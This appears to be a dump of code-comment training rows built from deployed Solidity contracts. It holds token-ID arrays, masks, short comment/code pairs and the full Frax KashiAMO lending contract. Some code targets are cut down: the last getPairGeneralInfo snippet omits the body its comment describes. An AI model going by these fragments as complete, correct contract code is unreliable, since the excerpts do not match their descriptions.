0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2874,
261,
11890,
516,
8330,
20349,
1071,
7647,
31862,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x17427f4Eb376aFa6AB68D480439033737bEFc3D7/sources/contracts/VincoToken.sol
|
100 000 000 Adjust for decimal
|
function initialize() public initializer {
__ERC20_init("Vinco Token", "VINCO");
__ERC20Burnable_init();
__Ownable_init();
__UUPSUpgradeable_init();
__Pausable_init();
uint256 initialSupply = 100000000;
supply = initialSupply.mul(10**decimals());
_mint(_msgSender(), supply);
hasMinted = false;
}
| 9,752,456 |
[
1,
6625,
20546,
20546,
17720,
364,
6970,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4046,
1435,
1071,
12562,
288,
203,
3639,
1001,
654,
39,
3462,
67,
2738,
2932,
58,
267,
2894,
3155,
3113,
315,
58,
706,
3865,
8863,
203,
3639,
1001,
654,
39,
3462,
38,
321,
429,
67,
2738,
5621,
203,
3639,
1001,
5460,
429,
67,
2738,
5621,
203,
3639,
1001,
57,
3079,
55,
10784,
429,
67,
2738,
5621,
203,
3639,
1001,
16507,
16665,
67,
2738,
5621,
203,
3639,
2254,
5034,
2172,
3088,
1283,
273,
2130,
9449,
31,
203,
3639,
14467,
273,
2172,
3088,
1283,
18,
16411,
12,
2163,
636,
31734,
10663,
203,
3639,
389,
81,
474,
24899,
3576,
12021,
9334,
14467,
1769,
203,
3639,
711,
49,
474,
329,
273,
629,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x602f47c53fbd3D6F6783F26E01623cCfd53268D0/sources/main-contract/main-contract/XUSDPrime.sol
|
Emitting the event for each address
|
emit BlacklistAdded(accounts[i]);
| 4,787,667 |
[
1,
17982,
1787,
326,
871,
364,
1517,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
565,
3626,
22467,
1098,
8602,
12,
13739,
63,
77,
19226,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.12;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ============================= KashiAMO ==============================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Amirnader Aghayeghazvini: https://github.com/amirnader-ghazvini
// Reviewer(s) / Contributor(s)
import "../../Math/SafeMath.sol";
import "../../ERC20/IERC20.sol";
import "../../Staking/Owned.sol";
import "../../Frax/IFraxAMOMinter.sol";
import '../../Uniswap/TransferHelper.sol';
import "../../Frax/IFrax.sol";
// import "hardhat/console.sol";
import "./kashi/IOracle.sol";
import "./kashi/IBentoBoxV1.sol";
import "./kashi/IKashiPairMediumRiskV1.sol";
contract KashiAMO is Owned {
// SafeMath automatically included in Solidity >= 8.0.0
/* ========== STATE VARIABLES ========== */
address public timelock_address;
address public custodian_address;
// Kashipairs list
address[] public kashipairs_array;
mapping (address => bool) public kashipairs_check;
// Constants
IFrax private FRAX = IFrax(0x853d955aCEf822Db058eb8505911ED77F175b99e);
address private fraxAddress = 0x853d955aCEf822Db058eb8505911ED77F175b99e;
IFraxAMOMinter private amo_minter;
IBentoBoxV1 private SUSHIBentoBox = IBentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
// Reward Tokens
IERC20 private SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);
// Key Kashi Pairs
IKashiPairMediumRiskV1 private wEthFraxKashiPair = IKashiPairMediumRiskV1(0x9f357F839d8bB4EcC179A20eb10bB77B888686ff);
// iOracle address
address private iOracleChainlinkAddress = address(wEthFraxKashiPair.oracle());
// Important Addresses Related to Kashi
address private kashiPairMasterContract = 0x2cBA6Ab6574646Badc84F0544d05059e57a5dc42;
address private fraxEthChailinkOracleAddress = 0x14d04Fff8D21bd62987a5cE9ce543d2F1edF5D3E;
// Settings for the Medium Risk KashiPair
uint256 private constant UTILIZATION_PRECISION = 1e18;
uint256 private constant PRICE_PRECISION = 1e6;
/* ========== CONSTRUCTOR ========== */
/// @notice Kashi AMO Constructor
/// @param _owner_address owner address
/// @param _amo_minter_address AMO minter address
constructor (
address _owner_address,
address _amo_minter_address
) Owned(_owner_address){
amo_minter = IFraxAMOMinter(_amo_minter_address);
// Get the custodian and timelock addresses from the minter
custodian_address = amo_minter.custodian_address();
timelock_address = amo_minter.timelock_address();
}
/* ========== MODIFIERS ========== */
modifier onlyByOwnGov() {
require(msg.sender == timelock_address || msg.sender == owner, "Not owner or timelock");
_;
}
modifier onlyByOwnGovCust() {
require(msg.sender == timelock_address || msg.sender == owner || msg.sender == custodian_address, "Not owner, tlck, or custd");
_;
}
modifier onlyByMinter() {
require(msg.sender == address(amo_minter), "Not minter");
_;
}
/* ========== VIEWS ========== */
/// @notice Show allocations of KashiAMO in Frax
/// @return allocations :
/// allocations[0] = Unallocated FRAX
/// allocations[1] = Allocated FRAX
/// allocations[2] = Total FRAX
/// TODO: allocations[3] = Total borrowed FRAX
/// TODO: allocations[4] = Total frax value of collatral for borrowed FRAX
function showAllocations() public view returns (uint256[3] memory allocations) {
// All numbers given are in FRAX unless otherwise stated
// Unallocated FRAX
allocations[0] = FRAX.balanceOf(address(this));
// Allocated FRAX
// Frax in Bentobox
// Convert to amount
allocations[1] = SUSHIBentoBox.toAmount(fraxAddress, SUSHIBentoBox.balanceOf(fraxAddress, address(this)), false);
// allocations[3] = 0;
// Frax in Kashi pairs
for (uint i=0; i < kashipairs_array.length; i++) {
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipairs_array[i]);
uint256 fraction = newKashipair.balanceOf(address(this));
allocations[1] = allocations[1] + (kashipairFractionToFrax(kashipairs_array[i], fraction));
// TODO: total borrowed FRAX as an extra item in Allocation list
// (uint256 _totalAsset_elastic, uint256 _totalAsset_base) = newKashipair.totalAsset();
// (uint128 _totalBorrow_elastic, uint128 _totalBorrow_base) = newKashipair.totalBorrow();
// uint256 fullAssetAmount = SUSHIBentoBox.toAmount(fraxAddress, _totalAsset_elastic, false) + (_totalBorrow_elastic);
// uint256 utilization = (uint256(_totalBorrow_elastic) * (UTILIZATION_PRECISION)) / fullAssetAmount;
// allocations[3] = allocations[3] + ((utilization * kashipairFractionToFrax(kashipairs_array[i], fraction)) / UTILIZATION_PRECISION );
// TODO: Total frax value of collatral for borrowed FRAX
}
// Total FRAX possessed in various forms
uint256 sum_frax = allocations[0] + allocations[1];
allocations[2] = sum_frax;
}
/// @notice
/// @return frax_val_e18 Frax valume
/// @return collat_val_e18 Frax collateral valume
function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) {
frax_val_e18 = showAllocations()[2];
collat_val_e18 = (frax_val_e18 * FRAX.global_collateral_ratio()) / (PRICE_PRECISION);
}
/// @notice For potential Reward incentives in the future
/// @return reward SUSHI reward recieved by KashiAMO
function showRewards() external view returns (uint256 reward) {
reward = SUSHI.balanceOf(address(this)); // SUSHI
}
/// @notice Backwards compatibility
/// @return Frax minted balance of the KashiAMO
function mintedBalance() public view returns (int256) {
return amo_minter.frax_mint_balances(address(this));
}
/// @notice frax amount converter to kashipar fraction
/// @param kashipair_address Address of kashipair
/// @param frax_amount Amount of Frax
/// @return fraction in kashipair
function fraxToKashipairFraction(address kashipair_address, uint frax_amount) public view returns (uint256) {
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
uint256 share = SUSHIBentoBox.toShare(fraxAddress, frax_amount, false);
(uint256 kashipair_totalAsset_elastic, uint256 kashipair_totalAsset_base) = newKashipair.totalAsset();
if (kashipair_totalAsset_elastic == 0) {
return share;
} else {
return (share * kashipair_totalAsset_base) / kashipair_totalAsset_elastic;
}
}
/// @notice Log out all the general informations about a Kashipair
/// @param kashipair_address Address of kashipair
/// @param fraction Fraction in kasipair
/// @return frax amount
function kashipairFractionToFrax(address kashipair_address, uint fraction) public view returns (uint256) {
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
(uint256 kashipair_totalAsset_elastic, uint256 kashipair_totalAsset_base) = newKashipair.totalAsset();
if (kashipair_totalAsset_base == 0) {
return SUSHIBentoBox.toAmount(fraxAddress, fraction, false);
} else {
uint256 share = (fraction * kashipair_totalAsset_elastic) / kashipair_totalAsset_base;
return SUSHIBentoBox.toAmount(fraxAddress, share, false);
}
}
/// @notice getPairGeneralInfo of kashipair
/// @param kashipair_address Address of kashipair
/// @return kashipair_important_addresses Important addresses related to KashiAMO
/// kashipair_important_addresses[0] = Pair Asset Address
/// kashipair_important_addresses[1] = Pair Collateral Address
/// kashipair_important_addresses[2] = Pair Oracle Address
/// kashipair_important_addresses[3] = Bentobox Address
/// kashipair_important_addresses[4] = Kashipair Master contract Address
function getPairGeneralInfo(address kashipair_address) public view returns (address[5] memory kashipair_important_addresses){
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
kashipair_important_addresses[0] = address(newKashipair.asset()); // Pair Asset Address
kashipair_important_addresses[1] = address(newKashipair.collateral()); // Pair Collateral Address
kashipair_important_addresses[2] = address(newKashipair.oracle()); // Pair Oracle Address
kashipair_important_addresses[3] = address(newKashipair.bentoBox()); // Bentobox Address
kashipair_important_addresses[4] = address(wEthFraxKashiPair.masterContract()); // Kashipair Master contract Address
}
/// @notice Log out all the financial informations about a Kashipair
/// @param kashipair_address Address of kashipair
/// kashipair_financial_info[0] = Interest Per Second
/// kashipair_financial_info[1] = Fees Earned Fraction
/// kashipair_financial_info[2] = Total Asset (Bentobox shares hold by the Kashipair)
/// kashipair_financial_info[3] = Total Asset (Total fractions hold by asset suppliers)
/// kashipair_financial_info[4] = Total Asset (Total token amount)
/// kashipair_financial_info[5] = Total token amount to be repaid bt borrowers
/// kashipair_financial_info[6] = Utilization ratio
function getPairFinancialInfo(address kashipair_address) public view returns (uint256[7] memory kashipair_financial_info){
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
(uint64 interestPerSecond,, uint128 feesEarnedFraction)= newKashipair.accrueInfo();
// Accure info:
kashipair_financial_info[0] = uint256(interestPerSecond); // Interest Per Second
kashipair_financial_info[1] = uint256(feesEarnedFraction); // Fees Earned Fraction
(uint256 _totalAsset_elastic, uint256 _totalAsset_base) = newKashipair.totalAsset();
kashipair_financial_info[2] = _totalAsset_elastic; // Total Asset (Bentobox shares hold by the Kashipair)
kashipair_financial_info[3] = _totalAsset_base; // Total Asset (Total fractions hold by asset suppliers)
kashipair_financial_info[4] = SUSHIBentoBox.toAmount(fraxAddress, _totalAsset_elastic, false); // Total Asset (Total token amount)
(uint128 _totalBorrow_elastic,) = newKashipair.totalBorrow();
kashipair_financial_info[5] = uint256(_totalBorrow_elastic); // Total token amount to be repaid bt borrowers
uint256 fullAssetAmount = SUSHIBentoBox.toAmount(fraxAddress, _totalAsset_elastic, false) + (_totalBorrow_elastic);
uint256 utilization = (uint256(_totalBorrow_elastic) * (UTILIZATION_PRECISION)) / fullAssetAmount;
kashipair_financial_info[6] = utilization; // Utilization ratio
}
/* ========== KashiPairMediumRiskV1 + BentoBoxV1 ========== */
/// @notice Add new kashipair with Frax as asset address to list
/// @param kashipair_address Address of kashipair
function addPairToList(address kashipair_address) public onlyByOwnGov{
require(kashipair_address != address(0), "Zero address detected");
if (kashipairs_check[kashipair_address] == false) {
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
require(address(newKashipair.asset()) == fraxAddress, "KashiAMO: Kashipair's asset is not frax");
kashipairs_check[kashipair_address] = true;
kashipairs_array.push(kashipair_address);
}
}
/// @notice accrue Interest of a Kashipair
/// @param kashipair_address Address of kashipair
function accrueInterestKashipair(address kashipair_address) public onlyByOwnGov {
IKashiPairMediumRiskV1(kashipair_address).accrue();
}
/// @notice accrue Interest of all whitelisted Kashipairs
function accrueInterestAllKashipair() public onlyByOwnGov {
for (uint i=0; i < kashipairs_array.length; i++) {
accrueInterestKashipair(kashipairs_array[i]);
}
}
/// @notice Function to deposit frax to specific kashi pair
/// @param kashipair_address Address of kashipair
/// @param frax_amount Amount of Frax to be diposited
function depositToPair(address kashipair_address, uint frax_amount) public onlyByOwnGov{
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
uint256 _share = 0;
require(FRAX.balanceOf(address(this)) >= frax_amount , "KashiAMO: KashiAMO fund is low");
// Check if we have approve it or not
if (!SUSHIBentoBox.masterContractApproved(address(newKashipair.masterContract()),address(this))) {
uint8 v = 0;
bytes32 r = 0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 s = 0x0000000000000000000000000000000000000000000000000000000000000000;
SUSHIBentoBox.setMasterContractApproval(address(this), address(newKashipair.masterContract()),true,v,r,s);
}
FRAX.approve(address(SUSHIBentoBox), frax_amount);
(, uint256 shareOut) = SUSHIBentoBox.deposit(fraxAddress, address(this), address(this), frax_amount, _share);
newKashipair.addAsset(address(this),false,shareOut);
}
/// @notice Function to withdraw frax from specific kashi pair
/// @param kashipair_address Address of kashipair
/// @param frax_amount Amount of Frax to be withdrawed
function withdrawFromPair(address kashipair_address, uint frax_amount) public onlyByOwnGov{
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
uint256 fraction = fraxToKashipairFraction(kashipair_address, frax_amount);
require(newKashipair.balanceOf(address(this)) >= fraction , "KashiAMO: KashiAMO fund is low");
(uint256 share) = newKashipair.removeAsset(address(this), fraction);
SUSHIBentoBox.withdraw(fraxAddress, address(this), address(this), frax_amount, share);
}
/// @notice Function to withdraw frax from BentoBox
/// @param frax_amount Amount of Frax to be withdrawed
function withdrawFromBentobox(uint frax_amount) public onlyByOwnGov{
require(SUSHIBentoBox.toAmount(fraxAddress, SUSHIBentoBox.balanceOf(fraxAddress, address(this)), false) >= frax_amount , "KashiAMO: KashiAMO fund in Bentobox is low");
uint256 _share = SUSHIBentoBox.toShare(fraxAddress, frax_amount, false);
SUSHIBentoBox.withdraw(fraxAddress, address(this), address(this), frax_amount, _share);
}
/// @notice Function for creating a new kashi pair
/// @param collateralAddress ERC20 address of collatral coin
/// @param collatralOracleAddress Chainlink oracle address of collatral/ETH
/// @param _decimals Decimals of oracle
function createNewPair(address collateralAddress, address collatralOracleAddress, uint256 _decimals) public onlyByOwnGov returns (address){
bytes memory _oracleData = abi.encode(fraxEthChailinkOracleAddress, collatralOracleAddress, _decimals);
bytes memory _data = abi.encode(collateralAddress, fraxAddress, iOracleChainlinkAddress, _oracleData);
address cloneAddress = SUSHIBentoBox.deploy(kashiPairMasterContract, _data, true);
// Input Address to address list
kashipairs_check[cloneAddress] = true;
kashipairs_array.push(cloneAddress);
getPairGeneralInfo(cloneAddress);
return cloneAddress;
}
/* ========== Burns and givebacks ========== */
/// @notice Burn unneeded or excess FRAX. Goes through the minter
/// @param frax_amount Amount of Frax to burn
function burnFRAX(uint256 frax_amount) public onlyByOwnGovCust {
FRAX.approve(address(amo_minter), frax_amount);
amo_minter.burnFraxFromAMO(frax_amount);
}
/* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */
/// @notice Change the frax Minter
/// @param _amo_minter_address Frax AMO minter
function setAMOMinter(address _amo_minter_address) external onlyByOwnGov {
amo_minter = IFraxAMOMinter(_amo_minter_address);
// Get the custodian and timelock addresses from the minter
custodian_address = amo_minter.custodian_address();
timelock_address = amo_minter.timelock_address();
// Make sure the new addresses are not address(0)
require(custodian_address != address(0) && timelock_address != address(0), "Invalid custodian or timelock");
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov {
TransferHelper.safeTransfer(address(tokenAddress), msg.sender, tokenAmount);
}
// Generic proxy
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyByOwnGov returns (bool, bytes memory) {
(bool success, bytes memory result) = _to.call{value:_value}(_data);
return (success, result);
}
}
|
@notice getPairGeneralInfo of kashipair @param kashipair_address Address of kashipair @return kashipair_important_addresses Important addresses related to KashiAMO kashipair_important_addresses[0] = Pair Asset Address kashipair_important_addresses[1] = Pair Collateral Address kashipair_important_addresses[2] = Pair Oracle Address kashipair_important_addresses[3] = Bentobox Address kashipair_important_addresses[4] = Kashipair Master contract Address
|
function getPairGeneralInfo(address kashipair_address) public view returns (address[5] memory kashipair_important_addresses){
require(kashipairs_check[kashipair_address], "KashiAMO: Add Kashipair address to AMO");
IKashiPairMediumRiskV1 newKashipair = IKashiPairMediumRiskV1(kashipair_address);
}
| 12,768,421 |
[
1,
588,
4154,
12580,
966,
434,
417,
961,
625,
1826,
225,
417,
961,
625,
1826,
67,
2867,
5267,
434,
417,
961,
625,
1826,
327,
417,
961,
625,
1826,
67,
23221,
67,
13277,
6164,
970,
6138,
3746,
358,
1475,
961,
77,
2192,
51,
417,
961,
625,
1826,
67,
23221,
67,
13277,
63,
20,
65,
273,
8599,
10494,
5267,
417,
961,
625,
1826,
67,
23221,
67,
13277,
63,
21,
65,
273,
225,
8599,
17596,
2045,
287,
5267,
417,
961,
625,
1826,
67,
23221,
67,
13277,
63,
22,
65,
273,
225,
8599,
28544,
5267,
417,
961,
625,
1826,
67,
23221,
67,
13277,
63,
23,
65,
273,
225,
605,
319,
27570,
5267,
417,
961,
625,
1826,
67,
23221,
67,
13277,
63,
24,
65,
273,
225,
1475,
961,
625,
1826,
13453,
6835,
5267,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1689,
1826,
12580,
966,
12,
2867,
417,
961,
625,
1826,
67,
2867,
13,
1071,
1476,
1135,
261,
2867,
63,
25,
65,
3778,
417,
961,
625,
1826,
67,
23221,
67,
13277,
15329,
203,
3639,
2583,
12,
79,
961,
625,
1826,
87,
67,
1893,
63,
79,
961,
625,
1826,
67,
2867,
6487,
315,
47,
961,
77,
2192,
51,
30,
1436,
1475,
961,
625,
1826,
1758,
358,
432,
5980,
8863,
203,
3639,
467,
47,
961,
77,
4154,
25599,
54,
10175,
58,
21,
394,
47,
961,
625,
1826,
273,
467,
47,
961,
77,
4154,
25599,
54,
10175,
58,
21,
12,
79,
961,
625,
1826,
67,
2867,
1769,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
